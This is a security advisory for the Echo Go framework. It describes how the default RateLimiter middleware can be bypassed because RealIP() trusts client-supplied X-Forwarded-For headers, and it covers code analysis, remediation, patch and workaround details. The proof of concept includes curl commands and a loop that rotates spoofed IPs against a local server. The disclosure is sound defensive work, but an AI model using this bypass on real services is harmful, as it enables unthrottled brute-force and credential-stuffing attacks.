GHSA-246p-cpwv-v3jq

Description

## Summary When `echo.New()` is used without explicitly setting `Echo#IPExtractor`, the `RealIP()` method falls back to reading the client-supplied `X-Forwarded-For` (or `X-Real-IP`) header without any proxy-origin validation. The default `RateLimiter()` middleware derives its per-client identifier from `ctx.RealIP()`, so an attacker can rotate arbitrary values in the `X-Forwarded-For` header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely. ## Affected Component - `context.go` — `(*Context).RealIP()` (lines 186–208), legacy fallback branch (lines 190–200) - `middleware/rate_limiter.go` — `DefaultRateLimiterConfig.IdentifierExtractor` (lines 46–58); `RateLimiter()` (lines 71–76) - `echo.go` — `New()` (lines 326–343), `IPExtractor` left `nil` by default ## Description ### `RealIP()` unconditionally trusts `X-Forwarded-For` when `IPExtractor` is unset `Context.RealIP()` (`context.go:186-208`) first checks `c.echo.IPExtractor`. When this field is `nil` (the default for `echo.New()`), it falls through to legacy behavior and returns the **first IP** from the `X-Forwarded-For` header — the position an attacker has full control over: ```go // context.go:186-200 func (c *Context) RealIP() string { if c.echo != nil && c.echo.IPExtractor != nil { return c.echo.IPExtractor(c.request) } // Fall back to legacy behavior if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" { i := strings.IndexAny(ip, ",") if i > 0 { xffip := strings.TrimSpace(ip[:i]) xffip = strings.TrimPrefix(xffip, "[") xffip = strings.TrimSuffix(xffip, "]") return xffip // ← attacker-controlled first IP } return ip } if ip := c.request.Header.Get(HeaderXRealIP); ip != "" { ... return ip // ← also attacker-controlled } ra, _, _ := net.SplitHostPort(c.request.RemoteAddr) return ra } ``` ### Rate limiter default identifier extractor calls `RealIP()` unconditionally `DefaultRateLimiterConfig` (`rate_limiter.go:46-58`) sets the identifier extractor to `ctx.RealIP()` with no guard for whether a safe `IPExtractor` is configured: ```go // rate_limiter.go:46-58 var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx *echo.Context) (string, error) { id := ctx.RealIP() // ← reads attacker-controlled header return id, nil }, ... } ``` `RateLimiter(store)` (`rate_limiter.go:71-76`) copies `DefaultRateLimiterConfig` directly: ```go // rate_limiter.go:71-76 func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { config := DefaultRateLimiterConfig config.Store = store return RateLimiterWithConfig(config) } ``` The result is that the most common usage pattern — `e.GET("/path", h, middleware.RateLimiter(store))` — produces a rate limiter whose per-client identifier is fully controlled by the requester. ### Framework acknowledges the issue for IP extraction but the rate limiter carries no warning `ip.go:27` explicitly states the default is insecure: > "Note: if you don't set `Echo#IPExtractor` explicitly, Echo fallback to legacy behavior, which is not a good choice." And `ip.go:117-119`: > "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility." The `IPExtractor` mechanism (`ExtractIPDirect()`, `ExtractIPFromXFFHeader()`, `ExtractIPFromRealIPHeader()`) in `ip.go` exists precisely to close this gap. However, the `RateLimiter()` function and `DefaultRateLimiterConfig` have **no corresponding warning** and make no attempt to detect or flag that `IPExtractor` is unset, leaving operators who follow the standard rate limiter example silently exposed. The test `TestRateLimiterWithConfig_defaultConfig` (`rate_limiter_test.go:181-226`) itself drives the rate limiter by setting `X-Real-IP` directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation. ### Full execution chain 1. Server starts with `echo.New()` (no `IPExtractor` set) and `e.GET("/limited", h, middleware.RateLimiter(store))` 2. Attacker sends `GET /limited` with header `X-Forwarded-For: 1.2.3.4` — rate bucket for `1.2.3.4` consumed 3. Attacker sends `GET /limited` again with `X-Forwarded-For: 1.2.3.4` — second token consumed; if burst is 1, next request would be 429 4. Attacker sends `GET /limited` with `X-Forwarded-For: 5.6.7.8` — **new bucket created** for `5.6.7.8`, 200 OK returned 5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served ## Proof of Concept ```go package main import ( "net/http" echo "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" ) func main() { e := echo.New() // NOTE: IPExtractor deliberately NOT set — this is the default store := middleware.NewRateLimiterMemoryStore(1) e.GET("/limited", func(c *echo.Context) error { return c.String(http.StatusOK, "ok") }, middleware.RateLimiter(store)) e.Logger.Fatal(e.Start(":1324")) } ``` ```bash # First request with IP 1.1.1.1 — consumes burst token curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Second request with same IP — rate limited curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 429 Too Many Requests # Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Repeat indefinitely with rotating IPs — rate limit never triggers for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited done # 200 200 200 ... (all 200, never 429) ``` ## Impact - Attackers can make unlimited requests to any endpoint protected by `middleware.RateLimiter()` using the default configuration by rotating the `X-Forwarded-For` header - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled - API abuse and credential stuffing are possible at arbitrary throughput - Any per-IP security control that relies on `ctx.RealIP()` with default configuration (access logging, geo-blocking, audit trails) is equally undermined ## Recommended Remediation ### Option 1: Require explicit `IPExtractor` configuration in `RateLimiter()` (preferred) The `RateLimiter()` convenience function should detect when `IPExtractor` is not configured and either panic with a clear message or fall back to `ExtractIPDirect()` (direct-connection IP only): ```go // rate_limiter.go — illustrative change var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx *echo.Context) (string, error) { if ctx.Echo().IPExtractor == nil { // Fall back to direct TCP peer address — safe for non-proxied deployments host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr) if err != nil { return ctx.Request().RemoteAddr, nil } return host, nil } return ctx.RealIP(), nil }, ... } ``` ### Option 2: Document and warn in `RateLimiter()` godoc At minimum, add a prominent warning to the `RateLimiter()` and `DefaultRateLimiterConfig` documentation directing users to configure `Echo#IPExtractor` before using IP-based rate limiting, mirroring the guidance already present in `ip.go`. ```go // RateLimiter returns a rate limiting middleware. // // SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads // X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor, // these headers are fully client-controlled and can be spoofed to bypass // rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or // echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware. // See https://echo.labstack.com/guide/ip-address for details. func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { ``` ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). ## Patches Fixed in `github.com/labstack/echo/v5` v5.1.0: without `Echo#IPExtractor`, `Context.RealIP()` returns the address of the direct peer; the previous behavior is available as `LegacyIPExtractor`. `github.com/labstack/echo/v4` keeps its default for compatibility. ## Workarounds Configure `Echo#IPExtractor` for your deployment (`echo.ExtractIPDirect()` without a proxy, `echo.ExtractIPFromXFFHeader()` behind proxies, with `TrustIPRange` for proxies on public addresses), or set `RateLimiterConfig.IdentifierExtractor` to an identifier that clients cannot choose.